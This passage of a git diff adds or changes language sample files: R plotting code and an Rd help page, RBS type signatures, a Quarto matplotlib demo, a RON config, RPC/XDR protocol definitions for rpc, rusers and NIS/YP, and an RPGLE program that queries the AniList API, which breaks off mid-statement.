+    anno_colors <- list(Stage = c("#A6CEE3", "#1F78B4", "#B2DF8A", "#33A02C",
+                                  "#FB9A99", "#FF00FF", "#FDBF6F", "#FF7F00",
+                                  "#CAB2D6", "#6A3D9A"))
+    names(anno_colors$Stage) <- levels(ann$Stage)
+    dat <- d$consensus
+    colnames(dat) <- d$cell.names
+    write.csv(dat[d$hc$order, d$hc$order], file = "data/2d.csv", quote = FALSE, row.names = FALSE)
+    p <- pheatmap(d$consensus,
+             cluster_rows = d$hc,
+             cluster_cols = d$hc,
+             cutree_rows = 10,
+             cutree_cols = 10,
+             treeheight_col = 9,
+             treeheight_row = 9,
+             annotation_col = ann,
+             annotation_colors = anno_colors,
+             show_rownames = F,
+             show_colnames = F,
+             fontsize = font_size,
+             annotation_names_col = F,
+             silent = TRUE)
+    return(p$gtable)
+}
+
+first_col <- plot_grid(get_a(), get_c(), nrow = 2, labels = c("a", "c"), rel_heights = c(2, 1))
+
+second_col <- plot_grid(NULL, get_d(), nrow = 2, labels = c("b", "d"), rel_heights = c(1.5, 1))
+
+plot_grid(first_col, second_col, ncol = 2)
+
+ggsave("jpeg/2.jpeg", w = 9, h = 6)
+ggsave("pdf/2.pdf", w = 9, h = 6)
+
diff --git a/samples/R/hello-r.R b/samples/R/hello-r.R
deleted file mode 100644
index 30d715c3fd..0000000000
--- a/samples/R/hello-r.R
+++ /dev/null
@@ -1,4 +0,0 @@
-hello <- function() {
-    print("hello, world!")
-}
-hello()
diff --git a/samples/R/import.Rd b/samples/R/import.Rd
new file mode 100644
index 0000000000..1623d222bc
--- /dev/null
+++ b/samples/R/import.Rd
@@ -0,0 +1,72 @@
+% Generated by roxygen2: do not edit by hand
+% Please edit documentation in R/hello.R
+\name{import}
+\alias{import}
+\title{Import a module into the current scope}
+\usage{
+import(module, attach, attach_operators = TRUE)
+}
+\arguments{
+\item{module}{an identifier specifying the full module path}
+
+\item{attach}{if \code{TRUE}, attach the newly loaded module to the object
+search path (see \code{Details})}
+
+\item{attach_operators}{if \code{TRUE}, attach operators of module to the
+object search path, even if \code{attach} is \code{FALSE}}
+}
+\value{
+the loaded module environment (invisible)
+}
+\description{
+\code{module = import('module')} imports a specified module and makes its
+code available via the environment-like object it returns.
+}
+\details{
+Modules are loaded in an isolated environment which is returned, and
+optionally attached to the object search path of the current scope (if
+argument \code{attach} is \code{TRUE}).
+\code{attach} defaults to \code{FALSE}. However, in interactive code it is
+often helpful to attach packages by default. Therefore, in interactive code
+invoked directly from the terminal only (i.e. not within modules),
+\code{attach} defaults to the value of \code{options('import.attach')}, which
+can be set to \code{TRUE} or \code{FALSE} depending on the user’s preference.
+
+\code{attach_operators} causes \emph{operators} to be attached by default,
+because operators can only be invoked in R if they re found in the search
+path. Not attaching them therefore drastically limits a module’s usefulness.
+
+Modules are searched in the module search path \code{options('import.path')}.
+This is a vector of paths to consider, from the highest to the lowest
+priority. The current directory is \emph{always} considered first. That is,
+if a file \code{a.r} exists both in the current directory and in a module
+search path, the local file \code{./a.r} will be loaded.
+
+Module names can be fully qualified to refer to nested paths. See
+\code{Examples}.
+}
+\note{
+Unlike for packages, attaching happens \emph{locally}: if
+\code{import} is executed in the global environment, the effect is the same.
+Otherwise, the imported module is inserted as the parent of the current
+\code{environment()}. When used (globally) \emph{inside} a module, the newly
+imported module is only available inside the module’s search path, not
+outside it (nor in other modules which might be loaded).
+}
+\examples{
+# `a.r` is a file in the local directory containing a function `f`.
+a = import('a')
+a$f()
+
+# b/c.r is a file in path `b`, containing a function `g`.
+import('b/c', attach = TRUE)
+g() # No module name qualification necessary
+
+}
+\seealso{
+\code{unload}
+
+\code{reload}
+
+\code{module_name}
+}
\ No newline at end of file
diff --git a/samples/RBS/cli.rbs b/samples/RBS/cli.rbs
new file mode 100644
index 0000000000..f1d370ce34
--- /dev/null
+++ b/samples/RBS/cli.rbs
@@ -0,0 +1,83 @@
+module RBS
+  class CLI
+    class LibraryOptions
+      attr_accessor core_root: Pathname?
+      attr_accessor config_path: Pathname?
+
+      attr_reader libs: Array[String]
+      attr_reader dirs: Array[String]
+      attr_reader repos: Array[String]
+
+      def initialize: () -> void
+
+      def loader: () -> EnvironmentLoader
+
+      def setup_library_options: (OptionParser) -> OptionParser
+    end
+
+    interface _IO
+      def puts: (*untyped) -> void
+
+      def print: (*untyped) -> void
+
+      def flush: () -> void
+    end
+
+    attr_reader stdout: _IO
+    attr_reader stderr: _IO
+
+    # The copy of `args` passed to `run`.
+    #
+    # `OptionParser#order!` mutates given `arg`, the `run_***` actions should read `original_args` to get the original commandline arguments.
+    #
+    # Returns `nil` if called before `#run` call.
+    #
+    attr_reader original_args: Array[String]
+
+    def initialize: (stdout: IO, stderr: IO) -> void
+
+    COMMANDS: Array[Symbol]
+
+    def library_parse: (OptionParser, options: LibraryOptions) -> void
+
+    def parse_logging_options: (OptionParser) -> void
+
+    def has_parser?: () -> bool
+
+    def run: (Array[String] args) -> void
+
+    def run_ast: (Array[String], LibraryOptions) -> void
+
+    def run_list: (Array[String], LibraryOptions) -> void
+
+    def run_ancestors: (Array[String], LibraryOptions) -> void
+
+    def run_methods: (Array[String], LibraryOptions) -> void
+
+    def run_method: (Array[String], LibraryOptions) -> void
+
+    def run_validate: (Array[String], LibraryOptions) -> void
+
+    def run_constant: (Array[String], LibraryOptions) -> void
+
+    def run_paths: (Array[String], LibraryOptions) -> void
+
+    def run_prototype: (Array[String], LibraryOptions) -> void
+
+    def run_prototype_file: (String format, Array[String]) -> void
+
+    def run_vendor: (Array[String], LibraryOptions) -> void
+
+    def run_parse: (Array[String], LibraryOptions) -> void
+
+    def run_test: (Array[String], LibraryOptions) -> void
+
+    def run_collection: (Array[String], LibraryOptions) -> void
+
+    def run_annotate: (Array[String], top) -> void
+
+    def test_opt: (LibraryOptions) -> String?
+
+    def collection_options: (Array[String]) -> OptionParser
+  end
+end
diff --git a/samples/RMarkdown/example.qmd b/samples/RMarkdown/example.qmd
new file mode 100644
index 0000000000..489f62bb70
--- /dev/null
+++ b/samples/RMarkdown/example.qmd
@@ -0,0 +1,27 @@
+---
+title: "matplotlib demo"
+format:
+  html:
+    code-fold: true
+jupyter: python3
+---
+
+For a demonstration of a line plot on a polar axis, see @fig-polar.
+
+```{python}
+#| label: fig-polar
+#| fig-cap: "A line plot on a polar axis"
+
+import numpy as np
+import matplotlib.pyplot as plt
+
+r = np.arange(0, 2, 0.01)
+theta = 2 * np.pi * r
+fig, ax = plt.subplots(
+  subplot_kw = {'projection': 'polar'} 
+)
+ax.plot(theta, r)
+ax.set_rticks([0.5, 1, 1.5, 2])
+ax.grid(True)
+plt.show()
+```
diff --git a/samples/RON/config.ron b/samples/RON/config.ron
new file mode 100644
index 0000000000..416d5f9183
--- /dev/null
+++ b/samples/RON/config.ron
@@ -0,0 +1,15 @@
+Config(
+    root: ".",
+    color: Auto,
+    include_hidden: false,
+    max_rows: 10,
+    exclude: [
+        "target/*",
+        "assets/*",
+    ],
+    output: Output(
+        path: Some("out"),
+        format: Pretty,
+    ),
+    timeout: 3600.0,
+)
diff --git a/samples/RPC/rpc.x b/samples/RPC/rpc.x
new file mode 100644
index 0000000000..e19ed409d7
--- /dev/null
+++ b/samples/RPC/rpc.x
@@ -0,0 +1,146 @@
+/* rpc.x extracted from RFC5531 */
+
+const RPC_VERS = 2;
+
+enum auth_flavor {
+	AUTH_NONE       = 0,
+	AUTH_SYS        = 1,
+	AUTH_SHORT      = 2,
+	AUTH_DH         = 3,
+	AUTH_KERB       = 4, /* RFC2695 */
+	AUTH_RSA        = 5,
+	RPCSEC_GSS      = 6  /* RFC2203 */
+	/* and more to be defined */
+};
+
+typedef opaque opaque_auth_body<400>;
+
+struct opaque_auth {
+	int flavor; /* may be "pseudo" value outside enum */
+	opaque_auth_body body;
+};
+
+enum msg_type {
+	CALL  = 0,
+	REPLY = 1
+};
+
+enum reply_stat {
+	MSG_ACCEPTED = 0,
+	MSG_DENIED   = 1
+};
+
+enum accept_stat {
+	SUCCESS       = 0, /* RPC executed successfully       */
+	PROG_UNAVAIL  = 1, /* remote hasn't exported program  */
+	PROG_MISMATCH = 2, /* remote can't support version #  */
+	PROC_UNAVAIL  = 3, /* program can't support procedure */
+	GARBAGE_ARGS  = 4, /* procedure can't decode params   */
+	SYSTEM_ERR    = 5  /* e.g. memory allocation failure  */
+};
+
+enum reject_stat {
+	RPC_MISMATCH = 0, /* RPC version number != 2          */
+	AUTH_ERROR = 1    /* remote can't authenticate caller */
+};
+
+enum auth_stat {
+	AUTH_OK           = 0,  /* success                        */
+	/*
+	 * failed at remote end
+	 */
+	AUTH_BADCRED      = 1,  /* bad credential (seal broken)   */
+	AUTH_REJECTEDCRED = 2,  /* client must begin new session  */
+	AUTH_BADVERF      = 3,  /* bad verifier (seal broken)     */
+	AUTH_REJECTEDVERF = 4,  /* verifier expired or replayed   */
+	AUTH_TOOWEAK      = 5,  /* rejected for security reasons  */
+	/*
+	 * failed locally
+	 */
+	AUTH_INVALIDRESP  = 6,  /* bogus response verifier        */
+	AUTH_FAILED       = 7,  /* reason unknown                 */
+	/*
+	 * AUTH_KERB errors; deprecated.  See [[139]RFC2695]
+	 */
+	AUTH_KERB_GENERIC = 8,  /* kerberos generic error */
+	AUTH_TIMEEXPIRE = 9,    /* time of credential expired */
+	AUTH_TKT_FILE = 10,     /* problem with ticket file */
+	AUTH_DECODE = 11,       /* can't decode authenticator */
+	AUTH_NET_ADDR = 12,     /* wrong net address in ticket */
+	/*
+	 * RPCSEC_GSS GSS related errors
+	 */
+	RPCSEC_GSS_CREDPROBLEM = 13, /* no credentials for user */
+	RPCSEC_GSS_CTXPROBLEM = 14   /* problem with context */
+};
+
+struct rpc_msg {
+	unsigned int xid;
+	union rpc_msg_body body;
+};
+
+union rpc_msg_body switch (msg_type mtype) {
+	case CALL:
+		call_body cbody;
+	case REPLY:
+		reply_body rbody;
+};
+
+struct call_body {
+	unsigned int rpcvers;       /* must be equal to two (2) */
+	unsigned int prog;
+	unsigned int vers;
+	unsigned int proc;
+	opaque_auth cred;
+	opaque_auth verf;
+	/* procedure-specific parameters start here */
+};
+
+union reply_body switch (reply_stat stat) {
+	case MSG_ACCEPTED:
+		accepted_reply areply;
+	case MSG_DENIED:
+		rejected_reply rreply;
+} /*reply*/;
+
+struct accepted_reply {
+	opaque_auth verf;
+	union accepted_reply_data reply_data;
+};
+
+union accepted_reply_data switch (accept_stat stat) {
+	case SUCCESS:
+		void /* opaque results[0] */;
+		/*
+		 * procedure-specific results start here
+		 */
+	case PROG_MISMATCH:
+		struct {
+			unsigned int low;
+			unsigned int high;
+		} mismatch_info;
+	default:
+		/*
+		 * Void.  Cases include PROG_UNAVAIL, PROC_UNAVAIL,
+		 * GARBAGE_ARGS, and SYSTEM_ERR.
+		 */
+		void;
+};
+
+union rejected_reply switch (reject_stat stat) {
+	case RPC_MISMATCH:
+		struct {
+			unsigned int low;
+			unsigned int high;
+		} mismatch_info;
+	case AUTH_ERROR:
+		auth_stat auth_stat; /* renamed to avoid conflict with discriminator */
+};
+
+struct authsys_parms {
+	unsigned int stamp;
+	string machinename<255>;
+	unsigned int uid;
+	unsigned int gid;
+	unsigned int gids<16>;
+};
diff --git a/samples/RPC/rusers.x b/samples/RPC/rusers.x
new file mode 100644
index 0000000000..5bbfe97e79
--- /dev/null
+++ b/samples/RPC/rusers.x
@@ -0,0 +1,228 @@
+/*
+ * Copyright (c) 2010, Oracle America, Inc.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ *       copyright notice, this list of conditions and the following
+ *       disclaimer in the documentation and/or other materials
+ *       provided with the distribution.
+ *     * Neither the name of the "Oracle America, Inc." nor the names of its
+ *       contributors may be used to endorse or promote products derived
+ *       from this software without specific prior written permission.
+ *
+ *   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ *   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ *   FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ *   COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+ *   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ *   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+ *   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ *   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+ *   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ *   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ *   OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+%/*
+% * Find out about remote users
+% */
+
+const RUSERS_MAXUSERLEN = 32;
+const RUSERS_MAXLINELEN = 32;
+const RUSERS_MAXHOSTLEN = 257;
+
+struct rusers_utmp {
+	string ut_user<RUSERS_MAXUSERLEN>;	/* aka ut_name */
+	string ut_line<RUSERS_MAXLINELEN>;	/* device */
+	string ut_host<RUSERS_MAXHOSTLEN>;	/* host user logged on from */
+	int ut_type;				/* type of entry */
+	int ut_time;				/* time entry was made */
+	unsigned int ut_idle;			/* minutes idle */
+};
+
+typedef rusers_utmp utmp_array<>;
+
+#ifdef RPC_HDR
+%
+%/*
+% * Values for ut_type field above.
+% */
+#endif
+const	RUSERS_EMPTY = 0;
+const	RUSERS_RUN_LVL = 1;
+const	RUSERS_BOOT_TIME = 2;
+const	RUSERS_OLD_TIME = 3;
+const	RUSERS_NEW_TIME = 4;
+const	RUSERS_INIT_PROCESS = 5;
+const	RUSERS_LOGIN_PROCESS = 6;
+const	RUSERS_USER_PROCESS = 7;
+const	RUSERS_DEAD_PROCESS = 8;
+const	RUSERS_ACCOUNTING = 9;
+
+program RUSERSPROG {
+
+	version RUSERSVERS_3 {
+		int
+		RUSERSPROC_NUM(void) = 1;
+
+		utmp_array
+		RUSERSPROC_NAMES(void) = 2;
+
+		utmp_array
+		RUSERSPROC_ALLNAMES(void) = 3;
+	} = 3;
+
+} = 100002;
+
+#ifdef RPC_HDR
+%
+%
+%#ifdef	__cplusplus
+%extern "C" {
+%#endif
+%
+%#include <rpc/xdr.h>
+%
+%/*
+% * The following structures are used by version 2 of the rusersd protocol.
+% * They were not developed with rpcgen, so they do not appear as RPCL.
+% */
+%
+%#define	RUSERSVERS_IDLE 2
+%#define	RUSERSVERS 3		/* current version */
+%#define	MAXUSERS 100
+%
+%/*
+% * This is the structure used in version 2 of the rusersd RPC service.
+% * It corresponds to the utmp structure for BSD systems.
+% */
+%struct ru_utmp {
+%	char	ut_line[8];		/* tty name */
+%	char	ut_name[8];		/* user id */
+%	char	ut_host[16];		/* host name, if remote */
+%	long int ut_time;		/* time on */
+%};
+%
+%struct utmparr {
+%       struct ru_utmp **uta_arr;
+%       int uta_cnt;
+%};
+%typedef struct utmparr utmparr;
+%
+%extern bool_t xdr_utmparr (XDR *xdrs, struct utmparr *objp) __THROW;
+%
+%struct utmpidle {
+%	struct ru_utmp ui_utmp;
+%	unsigned int ui_idle;
+%};
+%
+%struct utmpidlearr {
+%	struct utmpidle **uia_arr;
+%	int uia_cnt;
+%};
+%
+%extern bool_t xdr_utmpidlearr (XDR *xdrs, struct utmpidlearr *objp) __THROW;
+%
+%#ifdef	__cplusplus
+%}
+%#endif
+#endif
+
+
+#ifdef	RPC_XDR
+%bool_t xdr_utmp (XDR *xdrs, struct ru_utmp *objp);
+%
+%bool_t
+%xdr_utmp (XDR *xdrs, struct ru_utmp *objp)
+%{
+%	/* Since the fields are char foo [xxx], we should not free them. */
+%	if (xdrs->x_op != XDR_FREE)
+%	{
+%		char *ptr;
+%		unsigned int size;
+%		ptr = objp->ut_line;
+%		size = sizeof (objp->ut_line);
+%		if (!xdr_bytes (xdrs, &ptr, &size, size)) {
+%			return (FALSE);
+%		}
+%		ptr = objp->ut_name;
+%		size = sizeof (objp->ut_name);
+%		if (!xdr_bytes (xdrs, &ptr, &size, size)) {
+%			return (FALSE);
+%		}
+%		ptr = objp->ut_host;
+%		size = sizeof (objp->ut_host);
+%		if (!xdr_bytes (xdrs, &ptr, &size, size)) {
+%			return (FALSE);
+%		}
+%	}
+%	if (!xdr_long(xdrs, &objp->ut_time)) {
+%		return (FALSE);
+%	}
+%	return (TRUE);
+%}
+%
+%bool_t xdr_utmpptr(XDR *xdrs, struct ru_utmp **objpp);
+%
+%bool_t
+%xdr_utmpptr (XDR *xdrs, struct ru_utmp **objpp)
+%{
+%	if (!xdr_reference(xdrs, (char **) objpp, sizeof (struct ru_utmp),
+%			   (xdrproc_t) xdr_utmp)) {
+%		return (FALSE);
+%	}
+%	return (TRUE);
+%}
+%
+%bool_t
+%xdr_utmparr (XDR *xdrs, struct utmparr *objp)
+%{
+%	if (!xdr_array(xdrs, (char **)&objp->uta_arr, (u_int *)&objp->uta_cnt,
+%		       MAXUSERS, sizeof(struct ru_utmp *),
+%		       (xdrproc_t) xdr_utmpptr)) {
+%		return (FALSE);
+%	}
+%	return (TRUE);
+%}
+%
+%bool_t xdr_utmpidle(XDR *xdrs, struct utmpidle *objp);
+%
+%bool_t
+%xdr_utmpidle (XDR *xdrs, struct utmpidle *objp)
+%{
+%	if (!xdr_utmp(xdrs, &objp->ui_utmp)) {
+%		return (FALSE);
+%	}
+%	if (!xdr_u_int(xdrs, &objp->ui_idle)) {
+%		return (FALSE);
+%	}
+%	return (TRUE);
+%}
+%
+%bool_t xdr_utmpidleptr(XDR *xdrs, struct utmpidle **objp);
+%
+%bool_t
+%xdr_utmpidleptr (XDR *xdrs, struct utmpidle **objpp)
+%{
+%	if (!xdr_reference(xdrs, (char **) objpp, sizeof (struct utmpidle),
+%			   (xdrproc_t) xdr_utmpidle)) {
+%		return (FALSE);
+%	}
+%	return (TRUE);
+%}
+%
+%bool_t
+%xdr_utmpidlearr (XDR *xdrs, struct utmpidlearr *objp)
+%{
+%	if (!xdr_array(xdrs, (char **)&objp->uia_arr, (u_int *)&objp->uia_cnt,
+%		       MAXUSERS, sizeof(struct utmpidle *),
+%		       (xdrproc_t) xdr_utmpidleptr)) {
+%		return (FALSE);
+%	}
+%	return (TRUE);
+%}
+#endif
diff --git a/samples/RPC/yp.x b/samples/RPC/yp.x
new file mode 100644
index 0000000000..269ae6f606
--- /dev/null
+++ b/samples/RPC/yp.x
@@ -0,0 +1,311 @@
+/* @(#)yp.x	2.1 88/08/01 4.0 RPCSRC */
+
+/*
+ * Copyright (c) 2010, Oracle America, Inc.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ *       copyright notice, this list of conditions and the following
+ *       disclaimer in the documentation and/or other materials
+ *       provided with the distribution.
+ *     * Neither the name of the "Oracle America, Inc." nor the names of its
+ *       contributors may be used to endorse or promote products derived
+ *       from this software without specific prior written permission.
+ *
+ *   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ *   "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ *   FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ *   COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+ *   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ *   DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+ *   GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ *   INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+ *   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ *   NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ *   OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/*
+ * Protocol description file for the Yellow Pages Service
+ */
+
+const YPMAXRECORD = 1024;
+const YPMAXDOMAIN = 64;
+const YPMAXMAP = 64;
+const YPMAXPEER = 64;
+
+
+enum ypstat {
+	YP_TRUE		=  1,
+	YP_NOMORE	=  2,
+	YP_FALSE	=  0,
+	YP_NOMAP	= -1,
+	YP_NODOM	= -2,
+	YP_NOKEY	= -3,
+	YP_BADOP	= -4,
+	YP_BADDB	= -5,
+	YP_YPERR	= -6,
+	YP_BADARGS	= -7,
+	YP_VERS		= -8
+};
+
+
+enum ypxfrstat {
+	YPXFR_SUCC	=  1,
+	YPXFR_AGE	=  2,
+	YPXFR_NOMAP	= -1,
+	YPXFR_NODOM	= -2,
+	YPXFR_RSRC	= -3,
+	YPXFR_RPC	= -4,
+	YPXFR_MADDR	= -5,
+	YPXFR_YPERR	= -6,
+	YPXFR_BADARGS	= -7,
+	YPXFR_DBM	= -8,
+	YPXFR_FILE	= -9,
+	YPXFR_SKEW	= -10,
+	YPXFR_CLEAR	= -11,
+	YPXFR_FORCE	= -12,
+	YPXFR_XFRERR	= -13,
+	YPXFR_REFUSED	= -14
+};
+
+
+typedef string domainname<YPMAXDOMAIN>;
+typedef string mapname<YPMAXMAP>;
+typedef string peername<YPMAXPEER>;
+typedef opaque keydat<YPMAXRECORD>;
+typedef opaque valdat<YPMAXRECORD>;
+
+
+struct ypmap_parms {
+	domainname domain;
+	mapname map;
+	unsigned int ordernum;
+	peername peer;
+};
+
+struct ypreq_key {
+	domainname domain;
+	mapname map;
+	keydat key;
+};
+
+struct ypreq_nokey {
+	domainname domain;
+	mapname map;
+};
+
+struct ypreq_xfr {
+	ypmap_parms map_parms;
+	unsigned int transid;
+	unsigned int prog;
+	unsigned int port;
+};
+
+
+struct ypresp_val {
+	ypstat stat;
+	valdat val;
+};
+
+struct ypresp_key_val {
+	ypstat stat;
+#ifdef STUPID_SUN_BUG
+	/* This is the form as distributed by Sun.  But even the Sun NIS
+	   servers expect the values in the other order.  So their
+	   implementation somehow must change the order internally.  We
+	   don't want to follow this bad example since the user should be
+	   able to use rpcgen on this file.  */
+	keydat key;
+	valdat val;
+#else
+	valdat val;
+	keydat key;
+#endif
+};
+
+
+struct ypresp_master {
+	ypstat stat;
+	peername peer;
+};
+
+struct ypresp_order {
+	ypstat stat;
+	unsigned int ordernum;
+};
+
+union ypresp_all switch (bool more) {
+case TRUE:
+	ypresp_key_val val;
+case FALSE:
+	void;
+};
+
+struct ypresp_xfr {
+	unsigned int transid;
+	ypxfrstat xfrstat;
+};
+
+struct ypmaplist {
+	mapname map;
+	ypmaplist *next;
+};
+
+struct ypresp_maplist {
+	ypstat stat;
+	ypmaplist *maps;
+};
+
+enum yppush_status {
+	YPPUSH_SUCC	=  1,	/* Success */
+	YPPUSH_AGE	=  2,	/* Master's version not newer */
+	YPPUSH_NOMAP	= -1,	/* Can't find server for map */
+	YPPUSH_NODOM	= -2,	/* Domain not supported */
+	YPPUSH_RSRC	= -3,	/* Local resource alloc failure */
+	YPPUSH_RPC	= -4,	/* RPC failure talking to server */
+	YPPUSH_MADDR	= -5,	/* Can't get master address */
+	YPPUSH_YPERR	= -6,	/* YP server/map db error */
+	YPPUSH_BADARGS	= -7,	/* Request arguments bad */
+	YPPUSH_DBM	= -8,	/* Local dbm operation failed */
+	YPPUSH_FILE	= -9,	/* Local file I/O operation failed */
+	YPPUSH_SKEW	= -10,	/* Map version skew during transfer */
+	YPPUSH_CLEAR	= -11,	/* Can't send "Clear" req to local ypserv */
+	YPPUSH_FORCE	= -12,	/* No local order number in map  use -f flag. */
+	YPPUSH_XFRERR	= -13,	/* ypxfr error */
+	YPPUSH_REFUSED	= -14	/* Transfer request refused by ypserv */
+};
+
+struct yppushresp_xfr {
+	unsigned transid;
+	yppush_status status;
+};
+
+/*
+ * Response structure and overall result status codes.  Success and failure
+ * represent two separate response message types.
+ */
+
+enum ypbind_resptype {
+	YPBIND_SUCC_VAL = 1,
+	YPBIND_FAIL_VAL = 2
+};
+
+struct ypbind_binding {
+    opaque ypbind_binding_addr[4]; /* In network order */
+    opaque ypbind_binding_port[2]; /* In network order */
+};
+
+union ypbind_resp switch (ypbind_resptype ypbind_status) {
+case YPBIND_FAIL_VAL:
+	unsigned ypbind_error;
+case YPBIND_SUCC_VAL:
+	ypbind_binding ypbind_bindinfo;
+};
+
+/* Detailed failure reason codes for response field ypbind_error*/
+
+const YPBIND_ERR_ERR    = 1;	/* Internal error */
+const YPBIND_ERR_NOSERV = 2;	/* No bound server for passed domain */
+const YPBIND_ERR_RESC   = 3;	/* System resource allocation failure */
+
+
+/*
+ * Request data structure for ypbind "Set domain" procedure.
+ */
+struct ypbind_setdom {
+	domainname ypsetdom_domain;
+	ypbind_binding ypsetdom_binding;
+	unsigned ypsetdom_vers;
+};
+
+
+/*
+ * YP access protocol
+ */
+program YPPROG {
+	version YPVERS {
+		void
+		YPPROC_NULL(void) = 0;
+
+		bool
+		YPPROC_DOMAIN(domainname) = 1;
+
+		bool
+		YPPROC_DOMAIN_NONACK(domainname) = 2;
+
+		ypresp_val
+		YPPROC_MATCH(ypreq_key) = 3;
+
+		ypresp_key_val
+		YPPROC_FIRST(ypreq_key) = 4;
+
+		ypresp_key_val
+		YPPROC_NEXT(ypreq_key) = 5;
+
+		ypresp_xfr
+		YPPROC_XFR(ypreq_xfr) = 6;
+
+		void
+		YPPROC_CLEAR(void) = 7;
+
+		ypresp_all
+		YPPROC_ALL(ypreq_nokey) = 8;
+
+		ypresp_master
+		YPPROC_MASTER(ypreq_nokey) = 9;
+
+		ypresp_order
+		YPPROC_ORDER(ypreq_nokey) = 10;
+
+		ypresp_maplist
+		YPPROC_MAPLIST(domainname) = 11;
+	} = 2;
+} = 100004;
+
+
+/*
+ * YPPUSHPROC_XFRRESP is the callback routine for result of YPPROC_XFR
+ */
+program YPPUSH_XFRRESPPROG {
+	version YPPUSH_XFRRESPVERS {
+		void
+		YPPUSHPROC_NULL(void) = 0;
+
+#ifdef STUPID_SUN_BUG
+		/* This is the form as distributed by Sun.  But even
+		   the Sun NIS servers expect the values in the other
+		   order.  So their implementation somehow must change
+		   the order internally.  We don't want to follow this
+		   bad example since the user should be able to use
+		   rpcgen on this file.  */
+		yppushresp_xfr
+		YPPUSHPROC_XFRRESP(void) = 1;
+#else
+		void
+		YPPUSHPROC_XFRRESP(yppushresp_xfr) = 1;
+#endif
+	} = 1;
+} = 0x40000000;	/* transient: could be anything up to 0x5fffffff */
+
+/*
+ * YP binding protocol
+ */
+program YPBINDPROG {
+	version YPBINDVERS {
+		void
+		YPBINDPROC_NULL(void) = 0;
+
+		ypbind_resp
+		YPBINDPROC_DOMAIN(domainname) = 1;
+
+		void
+		YPBINDPROC_SETDOM(ypbind_setdom) = 2;
+	} = 2;
+} = 100007;
diff --git a/samples/RPGLE/anilist.sqlrpgle b/samples/RPGLE/anilist.sqlrpgle
new file mode 100644
index 0000000000..8ad10f981a
--- /dev/null
+++ b/samples/RPGLE/anilist.sqlrpgle
@@ -0,0 +1,170 @@
+**free
+
+ctl-opt main(main);
+ctl-opt option(*srcstmt:*noDebugIO:*nounref) dftActGrp(*no);
+ctl-opt datfmt(*iso) timfmt(*iso);
+
+
+dcl-f ALDSPF workStn(*ext) indDs(dspf) usropn;
+
+dcl-ds dspf qualified;
+  exit    ind pos(3);
+  refresh ind pos(5);
+  cancel  ind pos(12);
+end-ds;
+
+dcl-s reqUrl    char(64);
+dcl-s reqHeader char(128);
+
+dcl-pr main extPgm('ANILIST') end-pr;
+
+
+dcl-proc main;
+  reqUrl = 'https://graphql.anilist.co';
+  reqHeader = '<httpHeader><header name="Content-Type"' + 
+    ' value="application/json"/></httpHeader>';
+
+  monitor;
+    open ALDSPF;
+  on-error *file;
+    dsply ('Could not open display file ALDSPF');
+    return;
+  endmon;
+  dspfLoop ();
+
+  on-exit;
+    resetDspf ();
+    close *ALL;
+end-proc;
+
+
+dcl-proc dspfLoop;
+  monitor;
+    doU (dspf.exit);
+      exfmt ALDR001;
+
+      if (dspf.cancel or dspf.exit);
+        leave;
+      elseif (dspf.refresh);
+        clear ALDR001;
+      elseif (ALDIUSRNM <> *BLANK);
+        getUser ();
+        getMediaLists ();
+        write ALDR001;
+      endif;
+      
+    enddo;
+  on-error;
+    ALDOERROR = 'Error in dspfLoop()';
+    write ALDR001;
+  endmon;
+end-proc;
+
+
+dcl-proc getMediaLists;
+
+  dcl-ds listCounts qualified;
+    completed varchar(4);
+    dropped   varchar(4);
+    planned   varchar(4);
+    current   varchar(4);
+    paused    varchar(4);
+    repeat    varchar(4);
+  end-ds;
+  
+  dcl-s reqBody varchar(256);
+  reqBody = '{"query": "{MediaListCollection(userId:' + ALDOID + 
+    ', type:ANIME){lists{name entries {id}}}}"}';
+
+  monitor;
+    // Get media list entries, count them by type, 
+    //   and pivot the resultset for easy insert to DS
+    exec SQL
+      with ml as (
+        select 
+          upper(name) as name,
+          id
+        from json_table(
+          Systools.HttpPostClob(:reqUrl, :reqHeader, :reqBody),
+          '$.data.MediaListCollection.lists[*]' columns(
+            name char(32) path '$.name',
